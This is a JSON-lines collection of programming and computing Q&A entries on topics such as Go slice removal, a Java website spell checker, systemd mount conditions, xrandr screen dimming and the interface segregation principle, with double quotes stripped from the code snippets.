{  "id": "_webapps.8484"  , "question": "We're starting a software development proyect and since we won't be working together (same building) we're looking for an integrated TFS solution.Does anybody know of a good one?"  , "title": "Good online TFS solution"  , "tags": "collaboration"  , "accepted_answer": "You can try Team System Web Access (TSWA). Channel 9 did a video on it that might serve as a good introduction: A first look at Visual Studio Team System Web Access 2010There is also list of hosting solutions here: http://www.microsoft.com/visualstudio/en-us/products/2010-editions/team-foundation-server/hosting"  } 
{  "id": "_scicomp.21241"  , "question": "I am looking for a C/C++ implementation of the Hungarian method for solving the linear assignment problem with real-valued cost matrix. Some implementation I found, such as this one, only work for integer costs :(Any suggestions are very appreciated!Thank you in advance!"  , "title": "Looking for a C/C++ implementation of the Hungarian method for real-valued cost matrix"  , "tags": "optimization;c++;combinatorics"  } 
{  "id": "_softwareengineering.162349"  , "question": "I'm working on a rails application, and I've been pulling functionality out of my rails code and into pure ruby classes in lib/. I've found myself often writing classes like this: class MailchimpIntegration     def subscribe_email(email, fname, lname)    Gibbon.list_subscribe(:id => NEWSLETTER_LIST_ID, :email_address => email,      :merge_vars => {'fname' => fname, 'lname' => lname },      :email_type => html,  :double_optin => false, :send_welcome => false)  end  def unsubscribe_email(email)    Gibbon.list_unsubscribe(:id => NEWSLETTER_LIST_ID, :email_address => email)  end  def change_details(old_email, email, fname, lname)    Gibbon.list_update_member(:id => NEWSLETTER_LIST_ID, :email_address => old_email,      :merge_vars => {'email' => email, 'fname' => fname, 'lname' => lname })  end  def get_email_info(email)    Gibbon.list_member_info(:id => NEWSLETTER_LIST_ID, :email_address => [email])[data].first  endendMy question is: Should I change these methods to be class methods?It seems reasonable to do, as I'll probably end up calling these by just newing up a MailchimpIntegration class each time. However, I generally prefer to have instance methods as they can be more easily stubbed etc, although this seems to be less of an issue in ruby.I have several classes like this in my system, so I'd be keen to see what people think about this."  , "title": "Should I prefer instance methods over class methods in Ruby?"  , "tags": "design;ruby;ruby on rails"  } 
{  "id": "_codereview.80256"  , "question": "Given a slice of unknown length (potentially very small or very large), and another slice containing (unique) integers indicating indices to be removed from that slice, the most straight forward way to achieve this would be to sort the indices in reverse order then remove each of them from the slice in turn via:mySlice = append(mySlice[:i], mySlice[i+1:]...)Alternatively I could create a new empty slice like:newSlice = make([]*Whatever, 0, len(mySlice)-len(indices))And build it up like:sort.Ints(indices)nextIndex := 0for i, thing := range mySlice {    if nextIndex == len(indices) || i == indices[nextIndex] {        nextIndex++    } else {        newSlice = append(newSlice, mySlice[i])         }}I haven't benchmarked these yet, because I would rather understand why one would be faster than the other (and possibly under what conditions).In particular, what actually happens in memory to the slice in the first strategy? I understand that slices are simple abstractions over arrays which are contiguous blocks of memory, but does removing the middle item of a slice require that memory to be moved around, such that it would be quicker to manage copying over every second item to a new slice/array than to remove every second item from the original slice?"  , "title": "Removing specific items from a slice"  , "tags": "go"  , "accepted_answer": "You are using the builtin append() function, you can read its documentation what it does.In summary, if the destination slice has enough capacity (cap()) to accomodate the elements you're appending to it, no new array will be allocated, but the destination slice will be resliced and the elements will be copied there.If the destination slice does not have enough capacity, a new array will be allocated, and the current content of the destination slice will be copied into that, and the elements you're appended will follow. A slice referring to the newly allocated array will be returned.In your case since you're removing elements, the slice will always have enough capacity, so no new array will be allocated. But still, the elements after the element/index being removed has to be copied forward by 1. In case of big slices this will be relatively much work. And it has to be as many times as many elements/indices you want to remove.Your implementation does not work though. It causes a run-time panic if the removable indices slice does not contain the last index of the input slice, because your code increments nextIndex beyond len(indices) and indexes it like indices[nextIndex]. To make it work, you should use the following if:if nextIndex < len(indices) && i == indices[nextIndex] {Also it is much faster to allocate the new slice with len = len(input) - len(ind) than with len = 0 as you did; and use simple assignment to append 1 element instead of calling the built-in append() function:s2 := make([]int, len(s)-len(idx))sort.Ints(idx)nexti, j := 0, 0for i := range s {    if nexti < len(idx) && i == idx[nexti] {        nexti++    } else {        s2[j] = s[i]        j++    }}Next note that we don't need a new slice, we can do the removal in-place, in the input slice:sort.Ints(idx)nexti, j := 0, 0for i := range s {    if nexti < len(idx) && i == idx[nexti] {        nexti++    } else {        s[j] = s[i]        j++    }}s = s[:len(s)-len(idx)]And as the final, fastest solution:We will use the original slice, and we will not copy elements 1-by-1. Elements between the removable indices form a contigous part which we can copy in one step using the built-in copy() function. Note that the first part (before the first removable index) is already in place, we don't even have to copy that.func remove4(s, idx []int) []int {    if len(idx) == 0 {        return s    }    sort.Ints(idx)    prev := idx[0]    for i := 1; i < len(idx); i++ {        v := idx[i]        copy(s[prev-i+1:], s[prev+1:v])        prev = v    }    copy(s[prev-len(idx)+1:], s[prev+1:])    return s[:len(s)-len(idx)]}Try all the examples on the Go Playground.One final note:By excluding certain elements from a slice by reslicing it, the underlying array will still contain reference to them, the value will remain in memory. It is recommended that whenever an element removed from a slice, always zero its place in the underlying array (its respective element in the slice) so the value will not remain in memory needlessly. This becomes even more critical if your slice contains pointers to big data structures.In my example I used int, so no need to zero it.As an easy example: if you want to remove the last element of a slice:var s []*SomeType// Remove last element, but first zero its value:s[len(s)-1] = nils = s[:len(s)-1]"  } 
{  "id": "_codereview.158011"  , "question": "I've recently made a slightly similar question with respect to the rendering performance, however my question this time is a bit different and with respect to which kind of JavaScript approach is the best. The previous question was with regard to which css approach gives the best performance on animations.With best I mean:Being the most future proof approachBest performance w. respect to the given object/goalBeing less demanding for the device running the code and rendering the siteAdmittedly I'm no professional when it comes this (at all), and therefore I'm asking in here.The objective:I have a position:fixed button that activates/shows the navigation menu on mobile devices. When scrolling down this button shrinks and when scrolling up again it enlarges (returns to the original size). Approaches:I've taken on several approaches for this, and a quick overview of approaches can be seen here:Using Headroom.js to add/remove class to the elementUsing requestAnimationFrame (rAF) to calculate scroll and thereby toggle classUsing setInterval to calculate scroll and toggle class (same functions as in the rAF, just with setInterval instead, which is activated on scroll.A combination of setInterval (which is activated on scroll) to calculate the scroll and toggling class (enlarging/shrinking) button using rAF. So far my findings are somewhat inconclusive, but it seems that the setInterval(), which is activated on scroll by using a var didScroll = true approach, is at least more performant than headroom.js for my application.The actual animation only happens whenever the user switches direction (going from scrolling down to up and vice versa), which leads me to think that using a 100% rAF approach might be too much, as the if-statements is checked a lot of times.To the above statement saying that using rAF would run the if-statements a lot i forgot that my rAF solution would only check the if-statements if the window had scrolled. Although this means that the rAF solution would constantly check if (lastPosition == window.pageYOffset). Here it should also be noted that the setInterval checks every 100ms if didScroll = trueThe questions:Do you think it's better to add the class using rAF as in the 2nd code, or is this overkill ? In case of using an approach of pure .scroll()/window.onsroll how much would the if-statements effect the performance, as they would run a lot - or put another way, are these if-statements computational heavy compared to others?Any suggestions to optimize the code - or suggestions on completely different approaches?The code:Beneath you can see the code for the 2 approaches which I'm currently considering the most (as the topic suggests).Using setInterval which only runs on scroll:var lastPosition = 0;var didScroll = false;var offset = 10;var changed = 0;var direction = 0;var size = 1;var thisClass = shrink;var nav = jQuery(#shownav);window.onscroll = function(){ didScroll = true;};setInterval(function() {    if(didScroll) {        didScroll = false;var scroll = window.pageYOffset;if(direction == 0 && scroll > lastPosition){changed = scroll+offset;direction = 1;} else if (direction == 1 && scroll < lastPosition){changed = scroll-offset;direction = 0;} if(size == 1 && direction == 1 && scroll > changed){ $(nav).addClass(thisClass); size = 0; } else if (size == 0 && direction == 0 && scroll < changed){ $(nav).removeClass(thisClass); size = 1; }lastPosition = scroll;  }  }, 100);Using a combination of setInterval activated on scroll and rAF to activate the animation:var lastPosition = 0;var didScroll = false;var offset = 10;var changed = 0;var direction = 0;var size = 1;var thisClass = shrink;var nav = jQuery(#shownav);window.onscroll = function(){ didScroll = true;};setInterval(function() {    if(didScroll) {        didScroll = false;var scroll = window.pageYOffset;if(direction == 0 && scroll > lastPosition){changed = scroll+offset;direction = 1;} else if (direction == 1 && scroll < lastPosition){changed = scroll-offset;direction = 0;} if(size == 1 && direction == 1 && scroll > changed){window.requestAnimationFrame(shrink); } else if (size == 0 && direction == 0 && scroll < changed){window.requestAnimationFrame(enlarge); }lastPosition = scroll;  };  }, 100);function shrink(){ $(nav).addClass(thisClass); size = 0;};function enlarge(){ $(nav).removeClass(thisClass); size = 1;};Note that the requestAnimationFrame is based on the polyfill by Paul Irish / Erik Mller and can be found in this gist.Note: the offset variable as well as the direction is included to ensure that the user scrolls at least 10px from the spot in which they changed direction, before toggling the class."  , "title": "Scroll animations - setInterval vs. setInterval & requestAnimationFrame"  , "tags": "javascript;comparative review;animation"  } 
{  "id": "_cs.60918"  , "question": "Lossless compression is not magic. It just gives the common patterns a short notation, compensating by the less common patterns ending up with a longer notation. By that logic, all lossless compression algorithms must sometimes give you a larger file back. A real world example of that is for instance giving a file containing 'a' and a line feed to gzip (2 bytes), it subsequently returns a 30 byte file. In general, compression tools do not break even for very small files.My question is: Are some compression utilities bloating out larger files by some significant amount? (While Give this file to 7z and watch you harddrive fail! is cool, things like This 4kb file will grow to 6kb. are also good.)I can see a reason why such behaviour might not exist. If you for instance always put an extra bit to the output telling if the file is actually compressed, or just the original file in the cases where the compression fails, your output can never be worse than the original file plus 1 bit. I am however not sure if any such protection against unexpected large files is used."  , "title": "Are some real world compression algorithms sometimes producing unexpectedly large files?"  , "tags": "algorithms;data compression"  } 
{  "id": "_unix.45612"  , "question": "Is there an equivalent to the NET.exe suite for linux systems with which I can do net view queries for example?"  , "title": "Program to manipulate Samba shares (net.exe equivalent)"  , "tags": "linux;command line;networking;windows;samba"  , "accepted_answer": "Samba ships a net executable itself. From the man page:The Samba net utility is meant to work just like the net utility  available for windows and DOS."  } 
{  "id": "_unix.281650"  , "question": "I am about to write service that rsync --delete directory /mnt/foo to remote server. However because of --delete option, I'd like to not run it unless /mnt/foo is mounted, as this might result in deletion of all files on remote.What to achieve it with ConditionX (e.g. ConditionPathIsDirectory) and RequiresMountsFor= directives, and what is the difference (pros and cons of each) ?Draft:Here is my current sketch:RequiresMountsFor=/mnt/foovs# assuming there is `bar_only_on_foo` subdirectory on monted directory, which does not exis on unmounted one.ConditionPathIsDirectory=/mnt/foo/bar_only_on_fooTo add to .service file:# /etc/systemd/system/rsync_to_remotey.service# or : /home/$USER/.config/systemd/user/rsync_to_remotey.service[Unit]Description=rsync USER X data to REMOTE Y[Service]Type=simpleExecStart=/home/USERX/rsync_userx_to_remotey.shFor correctness, here is .timer file:# /etc/systemd/system/rsync_to_remotey.timer# or : /home/$USER/.config/systemd/user/rsync_to_remotey.timer[Unit]Description=Runs every 30 minutes rsync USER X data to REMOTE Y[Timer]OnBootSec=30minAccuracySec=1hOnCalendar=*:0/30Unit=rsync_to_remotey.service[Install]WantedBy=multi-user.target"  , "title": "systemd.unit `RequiresMountsFor=` vs `ConditionPathIsDirectory=`"  , "tags": "systemd;systemd timer"  } 
{  "id": "_datascience.12500"  , "question": "What is a genetic algorithm, and what are its practical advantages over other algorithms? Is it similar to any commonly used machine learning algorithm like linear/logistic regression, neural networks, or tree-based methods like gradient boosting and random forests? I've heard it's based on mutated combinations of other models. Does this make it more like an ensemble?"  , "title": "Understanding genetic algorithms"  , "tags": "machine learning;genetic algorithms"  , "accepted_answer": "A genetic algorithm is an algorithm based on biological evolution, on how nature evolved. It does exactly that, evolve the algorithm so that it finds the best solution to the problem at hand. You can use a genetic algorithm to find a solution to a problem which you don't know the answer, you know the answer but want to know a different one, or you are just lazy. The common steps for a genetic algorithm are:Generate a random population of elementsEvaluate fitness of each element (how good are they against thesolution)Take the best elements for the next generationGenerate child elements using the above elements Mutate (randomly) each child. This can also be done before step 4 with parents.Repeat from step 2 for n number of generations until the solution is found, the maximum number of generations have been reached or the fitness is not changing anymore (local minima).Two basic problems with GAs:To get trapped in a local minima (or local maximum depending on the point of view). This means that you might find a good answer (or not even a good one) but it will never reach the best answer because fitness values are not changing or not getting better. This is fought using Mutation in step 5 to keep diversity in the population so it doesn't get stuck.They are generally slower than other approaches.If you can, take a look at this book. It is not free, but worth a look.Alternatively, take a look at this online book for free, it is a great source and he has his own youtube channel. It's more basic than the other book I recommend, but will help you get started with GAs.To answer the other part of your question, the GA should be used to find a model, but will not act as a model. For example, if you have a neural network you can train it using the backpropagation method, but you could also train it using a GA. The GA will not use anything of the backpropagation mathematics, it could be used to generate weights in its neurons, and evaluate the answer (last layer). Weights will evolve to get closer to the solution. In this scenario, the model will still be the NN, but you used a different algorithm to find the best NN.Hope this helps."  } 
{  "id": "_codereview.159547"  , "question": "I've implemented a program that spell checks a website. Here is the idea that I have in mind:Scan all of the words in a web page into a string (using jsoup)Filter out all of the HTML markup and codeUse a spell checking algorithm that reads from a dictionary.txt file and uses probability theory to offer suggestionsI would like to have my code reviewed and would greatly appreciate any input on how to make it more efficient or clean.There is probably some bad practice followed as I'm new to programming so I apologize in advance if I'm doing something that is obviously wrong.Some problems I've noticed about my code:It only accepts English wordsIt prints out each suggestion in a new line, so large websites produce a messy output.Here is the code:Class 1 (used to call on the methods, basically a neat class to look good)import java.io.*;public class BulkSpellChecker extends ParseCleanCheck {    public static void main(String[] args) throws IOException {        System.out.println(Let's get started!);        PageScanner(); // Scan the page and clean it first        SpellChecker(); // Spell check the cleaned page        System.out.println(Thanks for using the spell checker!);    }}Class 2import java.io.*;import java.util.*;import org.jsoup.Jsoup;import org.jsoup.nodes.Document;import org.jsoup.safety.Whitelist;public class ParseCleanCheck {    static Hashtable<String, String> dictionary;// To store all the words of the    // dictionary    static boolean suggestWord;// To indicate whether the word is spelled                                // correctly or not.    static Scanner urlInput = new Scanner(System.in);    public static String cleanString;    public static String url = ;    public static boolean correct = true;    /**     * PARSER METHOD     */    public static void PageScanner() throws IOException {        System.out.println(Pick an english website to scan.);        // This do-while loop allows the user to try again after a mistake        do {            try {                System.out.println(Enter a URL, starting with http://);                url = urlInput.nextLine();                // This creates a document out of the HTML on the web page                Document doc = Jsoup.connect(url).get();                // This converts the document into a string to be cleaned                String htmlToClean = doc.toString();                cleanString = Jsoup.clean(htmlToClean, Whitelist.none());                correct = false;            } catch (Exception e) {                System.out.println(Incorrect format for a URL. Please try again.);            }        } while (correct);    }    /**     * SPELL CHECKER METHOD     */    public static void SpellChecker() throws IOException {        dictionary = new Hashtable<String, String>();        System.out.println(Searching for spelling errors ... );        try {            // Read and store the words of the dictionary            BufferedReader dictReader = new BufferedReader(new FileReader(dictionary.txt));            while (dictReader.ready()) {                String dictInput = dictReader.readLine();                String[] dict = dictInput.split(\\\\s); // create an array of                                                        // dictionary words                for (int i = 0; i < dict.length; i++) {                    // key and value are identical                    dictionary.put(dict[i], dict[i]);                }            }            dictReader.close();            String user_text = ;            // Initializing a spelling suggestion object based on probability            SuggestSpelling suggest = new SuggestSpelling(wordprobabilityDatabase.txt);            // get user input for correction            {                user_text = cleanString;                String[] words = user_text.split( );                 Set<String> wordSet = new HashSet<>();                int error = 0;                for (String word : words) {                    if(!wordSet.contains(word)) {                        checkWord(word);                        suggestWord = true;                        String outputWord = checkWord(word);                        if (suggestWord) {                            System.out.println(Suggestions for  + word +  are:   + suggest.correct(outputWord) + \\n);                            error++;                        }                    }                        wordSet.add(word);                    }                if (error == 0) {                    System.out.println(No mistakes found);                }            }        } catch (IOException e) {            e.printStackTrace();            System.exit(-1);        }    }    /**     * METHOD TO SPELL CHECK THE WORDS IN A STRING. IS USED IN SPELL CHECKER     * METHOD THROUGH THE WORD STRING     */    public static String checkWord(String wordToCheck) {        String wordCheck, unpunctWord;        String word = wordToCheck.toLowerCase();        // if word is found in dictionary then it is spelled correctly, so        // return as it is.        if ((wordCheck = (String) dictionary.get(word)) != null) {            suggestWord = false; // no need to ask for suggestion for a correct                                    // word.            return wordCheck;        }        // Removing punctuation at end of word and giving it a shot (. or .        // or ?!)        int length = word.length();        // Checking for the beginning of quotes(example: she )        if (length > 1 && word.substring(0, 1).equals(\\)) {            unpunctWord = word.substring(1, length);            if ((wordCheck = (String) dictionary.get(unpunctWord)) != null) {                suggestWord = false; // no need to ask for suggestion for a                                        // correct word.                return wordCheck;            } else // not found                return unpunctWord; // removing the punctuations and returning        }        // Checking if . or ,,etc.. at the end is the problem(example: book.        // when book is present in the dictionary).        if (word.substring(length - 1).equals(.)                 || word.substring(length - 1).equals(,)                || word.substring(length - 1).equals(!)                 || word.substring(length - 1).equals(;)                || word.substring(length - 1).equals(:)) {            unpunctWord = word.substring(0, length - 1);            if ((wordCheck = (String) dictionary.get(unpunctWord)) != null) {                suggestWord = false; // no need to ask for suggestion for a                                        // correct word.                return wordCheck;            } else {                return unpunctWord; // removing the punctuation and returning it                                    // clean            }        }        // Checking for (!,\\,,etc) ... in the problem (example: watch! when        // watch is present in the dictionary)        if (length > 2 && (word.substring(length - 2).equals(,\\)                 || word.substring(length - 2).equals(.\\)                || word.substring(length - 2).equals(?\\)                 || word.substring(length - 2).equals(!\\))) {            unpunctWord = word.substring(0, length - 2);            if ((wordCheck = (String) dictionary.get(unpunctWord)) != null) {                suggestWord = false; // no need to ask for suggestion for a                                        // correct word.                return wordCheck;            } else // not found                return unpunctWord; // removing the inflections and returning        }        // If after all of these checks a word could not be corrected, return as        // a misspelled word.        return word;    }}Class 3import java.io.*;import java.util.*;import java.util.regex.*;class SuggestSpelling {    private final HashMap<String, Integer> DataBaseWords = new HashMap<String, Integer>();    /**     * Method that reads the dictionary and checks for probability through word     * occurrences     */    public SuggestSpelling(String file) throws IOException {        try {            BufferedReader in = new BufferedReader(new FileReader(file));            Pattern p = Pattern.compile(\\\\w+);            // Reading the dictionary and updating the probabilistic values            // accordingly            for (String temp = ; temp != null; temp = in.readLine()) {                Matcher m = p.matcher(temp.toLowerCase());                while (m.find()) {                    // This will serve as an indicator to probability of a word                    DataBaseWords.put((temp = m.group()),                            DataBaseWords.containsKey(temp) ? DataBaseWords.get(temp) + 1 : 1);                }            }            in.close();        } catch (IOException e) {            System.out.println(Uh-Oh Exception occured!);            e.printStackTrace();        }    }    /**     *      * Method that returns an array containing all possible corrections to the     * word passed.     *      */    private final ArrayList<String> edits(String word) {        ArrayList<String> result = new ArrayList<String>();        for (int i = 0; i < word.length(); ++i) {            result.add(word.substring(0, i) + word.substring(i + 1));        }        for (int i = 0; i < word.length() - 1; ++i) {            result.add(word.substring(0, i) + word.substring(i + 1, i + 2) + word.substring(i, i + 1)                    + word.substring(i + 2));        }        for (int i = 0; i < word.length(); ++i) {            for (char c = 'a'; c <= 'z'; ++c) {                result.add(word.substring(0, i) + String.valueOf(c) + word.substring(i + 1));            }        }        for (int i = 0; i <= word.length(); ++i) {            for (char c = 'a'; c <= 'z'; ++c) {                result.add(word.substring(0, i) + String.valueOf(c) + word.substring(i));            }        }        return result;    }    /**     *      * Method that compares input to dictionary words and returns words that are     * correct while checking for corrections on the others     *      */    public final String correct(String word) {        if (DataBaseWords.containsKey(word)) {            return word; // this is a perfectly safe word.        }        ArrayList<String> list_edits = edits(word);        HashMap<Integer, String> candidates = new HashMap<Integer, String>();        for (String s : list_edits) // Iterating through the list of all                                    // possible corrections to the word.        {            if (DataBaseWords.containsKey(s)) {                candidates.put(DataBaseWords.get(s), s);            }        }        // In the first stage of error correction, any of the possible        // corrections from the list_edits are found in our word database        // DataBaseWords        // then we return the one verified correction with maximum probability.        if (candidates.size() > 0) {            return candidates.get(Collections.max(candidates.keySet()));        }        // In the second stage we apply the first stage method on the possible        // collections of the list_edits.By the second stage statistics        for (String s : list_edits) {            for (String w : edits(s)) {                if (DataBaseWords.containsKey(w)) {                    candidates.put(DataBaseWords.get(w), w);                }            }        }        return candidates.size() > 0 ? candidates.get(Collections.max(candidates.keySet()))                : Sorry but no possible corrections found!;    }    public static void main(String[] args) throws IOException {        if (args.length > 0) {            System.out.println((new SuggestSpelling(wordprobabilityDatabase.txt)).correct(args[0]));        }    }}"  , "title": "Website Spell Checker in Java"  , "tags": "java;algorithm;html;parsing;hash map"  , "accepted_answer": "Style conventionAs you have used correctly in some places, Java's default convention is to use camelCase for method names, so having PageScanner() and SpellChecker() is mildly jarring to look at.You also use a mixture of PascalCase, snake_case and camelCase for variable names, and the default convention for non-static final variables is to use camelCase as well. Standardization is highly recommended here.InheritanceBulkSpellChecker extends ParseCleanCheckThis looks slightly odd, especially when BulkSpellChecker is just, in your words, 'a neat class to look good'. If all you are doing is to implement public static void main(String[] args), you can do it in the underlying classes too. Extending a class only to implement static methods is a poor demonstration of inheritance.Implementation vs interfaceAll Almost all your Collection classes are declared by their implementations (ArrayList) instead of their interfaces (List). It is usually recommended to use interfaces so that users of those variables only need to know they are dealing with a List. This allows for substitution too, e.g. during testing or to thread-safe implementations if required.In addition, since Java 7, you can rely on the generic type infererence to shorten the declaration as such:// ArrayList<String> result = new ArrayList<String>();List<String> result = new ArrayList<>();HashtableIn 2017, Hashtable is pretty much a relic class and you are highly encouraged to switch over to HashMap or ConcurrentHashMap, as you already did elsewhere.System.exitA hard System.exit(int) is usually not recommended, especially when it does not sit inside the main() method (it's at least easier to follow there). If you really do encounter a serious error, propagate the exception to the callers until you can handle it safely, e.g. by prompting the user to re-enter.Variables naming// This do-while loop allows the user to try again after a mistakedo {    try {        System.out.println(Enter a URL, starting with http://);        // ...        correct = false;    } catch (Exception e) {        System.out.println(Incorrect format for a URL. Please try again.);    }} while (correct);Reading correct here is quite misleading as it sounds like you will loop when the processing inside the code block is correct. One suggestion is to invert the meaning so that it better reflects what is being done here:boolean isDone = false;while (!isDone) {    try {        System.out.println(Enter a URL, starting with http://);        // ...        isDone = true;    } catch (Exception e) {        System.out.println(Incorrect format for a URL. Please try again.);    }}Actually, you can also eliminate the flag entirely, and by packaging the method as one that actually returns a usable output instead of assigning static variables, you will get something like:public static String getHtmlOutput(Scanner input) {    System.out.println(Pick an english website to scan.);    while (true) {        try {            System.out.println(Enter a URL, starting with http://);            Document doc = Jsoup.connect(input.nextLine()).get();            return Jsoup.clean(doc.toString(), Whitelist.none());        } catch (Exception e) {            System.out.println(Incorrect format for a URL. Please try again.);        }    } while (correct);}This showcases how the Scanner object reading from System.in (or potentially other sources) is taken in as the input, and returns the output of Jsoup.clean(String, Whitelist).try-with-resourcesSince Java 7, you can rely on try-with-resources for safe and efficient handling of the underlying IO resources. For example:public static void main(String[] args) {    String htmlOutput;    try (Scanner scanner = new Scanner(System.in)) {        htmlOutput = getHtmlOutput(scanner);    }    // ... do something with htmlOutput}Map methodsSince Java 8, there's Map.merge(K, V, BiFunction) to simplify the following kind of operations:// words.put((temp = m.group()), words.containsKey(temp) ? words.get(temp) + 1 : 1);words.merge(m.group(), 1, Integer::sum);Use m.group() as the key.Use 1 as the default value.If the entry exists, apply the BiFunction Integer.sum(int, int) (as a method reference) to sum the existing value and the incoming value 1."  } 
{  "id": "_webmaster.78812"  , "question": "I always heard that in web design one should not prefer pt as a size unit, because the browser/OS does not neccessarily know the correct dpi. Result: final font sizes are not equal on different computers (Mac and Windows have different default dpi, for example).But isn't this true for the prefered px as well? If I buy a FullHD monitor with 20 diameter and a FullHD monitor with 40 diameter, the font sizes will differ by a factor of two, because the physical pixel sizes are twice the size on the bigger monitor compared to the smaller one. So, for px I have the same effect, because the browser does not know the device size.Conclusion: If I take a ruler and measure a pt based font on two different devices I can get different results (unknown real dpi size). But for sure I can get different results for a px based font size as well just because the same-resolution-device is bigger/smaller (unknown real physical pixel size).So, why is the unknown device parameter argument used for pt but not for px?Bonus question: why do devices not deliver their physical size information via its device driver to the OS, anyways? A device should know how big it is and how much physical pixels it has, because someone build it with a defined size and pixel density and could just store this in the firmware."  , "title": "Why is px often prefered over pt even though both depend on an unknown device parameter?"  , "tags": "fonts;website design;screen size"  } 
{  "id": "_unix.181496"  , "question": "My laptop (a Toshiba Sattelite) runs far too bright, even in the ambient light from outside in the day, and I need to be able to dim it below its minimum setting.   ~#cat /sys/class/backlight/acpi_video0/brightness   ~#0Setting it below 0 will not work, and apps like flux even with some hackery to force it to night mode via script by rolling the timezone fails to do too much and leave colours of course yellowed.Is there some sort of method to set it below its minimum somehow? (uses some integrated nvidia card by the way)Is there a program I'm missing that will artificially dim it by overlaying transparent black?"  , "title": "How do dim screen, even if artifically, below the minimum?"  , "tags": "ubuntu;monitors;display settings"  , "accepted_answer": "With xrandr you can affect the gamma and brightness of a display by altering RGB values.From man xrandr:--brightnessMultiply the gamma values on the  crtc  currently attached to the output to specified floating value. Useful for overly bright or overly dim outputs. However, this is a software only modification, if your hardware has support to actually change the brightness, you will probably prefer to use xbacklight.  I can use it like:xrandr --output DVI-1 --brightness .7There is also the xgamma package, which does much of the same, but...man xgamma:Note that the xgamma utility is obsolete and  deficient, xrandr should be used with drivers that support the XRandr extension.  I can use it like:xgamma -gamma .7"  } 
{  "id": "_codereview.143216"  , "question": "I got inspired by this C# question. It asks to write a program to output all possible words (included in a dictionary) which fit a string of letters obtained by swiping the finger over the keyboard, as is often done with mobile keyboards.DescriptionSoftware like Swype and SwiftKey lets smartphone users enter text by dragging their finger over the on-screen keyboard, rather than  tapping on each letter.You'll be given a string of characters representing the letters the user has dragged their finger over.For example, if the user wants rest, the string of input characters might be resdft or resert.      InputGiven the following input strings, find all possible output words 5 characters or longer.qwertyuytresdftyuioknngijakjthoijerjidsdfnokgOutputYour program should find all possible words (5+ characters) that can be derived from the strings supplied.Use http://norvig.com/ngrams/enable1.txt as your search dictionary.The order of the output words doesn't matter.queen questiongaeing garring gathering gating geeing gieing going goringNotes/HintsAssumptions about the input strings:QWERTY keyboardLowercase a-z only, no whitespace or punctuationThe first and last characters of the input string will always match the first and last characters of the desired output wordDon't assume users take the most efficient path between lettersEvery letter of the output word will appear in the input stringThe function read_vocabulary reads the file and saves the words in a nested dictionary structure, where the first key is the first letter of the word and the second key the last letter of the word (this improves running time by about a factor 2 with respect to a simple set).I saved the linked word list as dictionary.txt on my computer.The find_words function tries to find all characters of a word (with the right first and last letter) in the pattern string and yields it if it found all.The call to sorted in the last part is not necessary from the defined interface (any ordering is fine), but I like it better this way.All comments are welcome, especially about improving readability of the code.import stringfrom collections import defaultdictdef read_vocabulary(file_name):    vocabulary = {letter: defaultdict(set) for letter in string.lowercase}    with open(file_name) as dict_file:        for word in dict_file:            word = word.strip().lower()            vocabulary[word[0]][word[-1]].add(word)    return vocabularydef find_words(vocabulary, pattern, length=5):        Search `vocabulary` for words matching `pattern` generated by    swiping the finger over the keyboard.    Yields all matching words    >>> vocabulary = {'q': {'n': {'queen'}, 'r': {'qualor'}}}    >>> list(find_words(vocabulary, 'qwertyuytresdftyuioknn'))    ['queen']        for word in vocabulary[pattern[0]][pattern[-1]]:        if len(word) >= length:            i = 1            for character in word[1:-1]:                try:                    i = pattern.index(character, i)                except ValueError:                    break            else:                yield wordif __name__ == __main__:    words = [qwertyuytresdftyuioknn,             gijakjthoijerjidsdfnokg,             cghhjkkllooiuytrrdfdftgyuiuytrfdsaazzseertyuioppoiuhgfcxxcfvghujiiuytrfddeews]    vocabulary = read_vocabulary(dictionary.txt)    for word in words:        # print word        print  .join(sorted(find_words(vocabulary, word), key=len, reverse=True))Regarding run-time:With the 1 million random characters, as linked at the other question, this code runs in about 0.14 seconds (as determined by python -m cProfile script.py), which includes reading the 1M characters from a file (because they are too big to just paste them in...)."  , "title": "Outputting all possible words which fit a string of letters"  , "tags": "python;programming challenge;python 2.7"  , "accepted_answer": "Some comments:You exclude words less than 5 characters when reading your vocabulary.  I think it would be better to exclude them when creating the vocabulary, which reduces the number of elements in your vocabulary and avoids you needlessly looping over words that are too short.Considering there are only 26 letters, it may be more efficient to have a single dictionary with two character keys rather than nested dictionaries.  This would reduce the number of dictionary lookups.  You would need to time it to see if it helps or hurts, but one possible initial check would be to create a collections.Counter of each word in your dictionary, and a collections.Counter of pattern at the beginning, and then use the subtraction operator to make sure all the letters in each word are present in the pattern.  If not, you can skip doing a linear search on that word.  But the act of creating each Counter at the beginning may offset the benefit of the check.Sorting will hurt your performance."  } 
{  "id": "_softwareengineering.233386"  , "question": "Does this IConvertible interface satisfy the Interface Segregation Principle (ie. the I in SOLID)?  Here is the definition:public interface IConvertible{    TypeCode GetTypeCode();     bool ToBoolean(IFormatProvider provider);    byte ToByte(IFormatProvider provider);    char ToChar(IFormatProvider provider);    DateTime ToDateTime(IFormatProvider provider);    decimal ToDecimal(IFormatProvider provider);    short ToInt16(IFormatProvider provider);    int ToInt32(IFormatProvider provider);    long ToInt64(IFormatProvider provider);    sbyte ToSByte(IFormatProvider provider);    float ToSingle(IFormatProvider provider);    string ToString(IFormatProvider provider);    object ToType(Type conversionType, IFormatProvider provider);    ushort ToUInt16(IFormatProvider provider);    uint ToUInt32(IFormatProvider provider);    ulong ToUInt64(IFormatProvider provider);}So if I would like to have a class which will implements this IConvertible interface the I have to implement all of those methods, right? Or if I don't implement all of them, then I have to at least make an empty method or throw an Exception, right?. In my opinion, the better way is to make more interface with fewer methods, for example:public interface IConvertibleInt{        short ToInt16(IFormatProvider provider);        int ToInt32(IFormatProvider provider);        long ToInt64(IFormatProvider provider);}Or even:public interface IConvertibleInt16{        short ToInt16(IFormatProvider provider);}public interface IConvertibleInt32{                    int ToInt32(IFormatProvider provider);}public interface IConvertibleInt64{        long ToInt64(IFormatProvider provider);}Is my reasoning correct?"  , "title": "Implementing the Interface Segregation Principle"  , "tags": "c#;object oriented;interfaces;solid;design principles"  , "accepted_answer": "I like to interpret Interface Segregation Principle as Interface should be closer related to the code that uses it than code that implement it. So the methods on the interface are defined by which methods client code needs than which methods class implements.This implies that for each interface, there is always code that uses this interface. This is not the case of IConvertible. The interface itself doesn't make much sense. I also never saw property or function that was typed IConvertible, which empowers my claims. I even wonder how would code that only works on IConvertible looks and what would it do."  } 
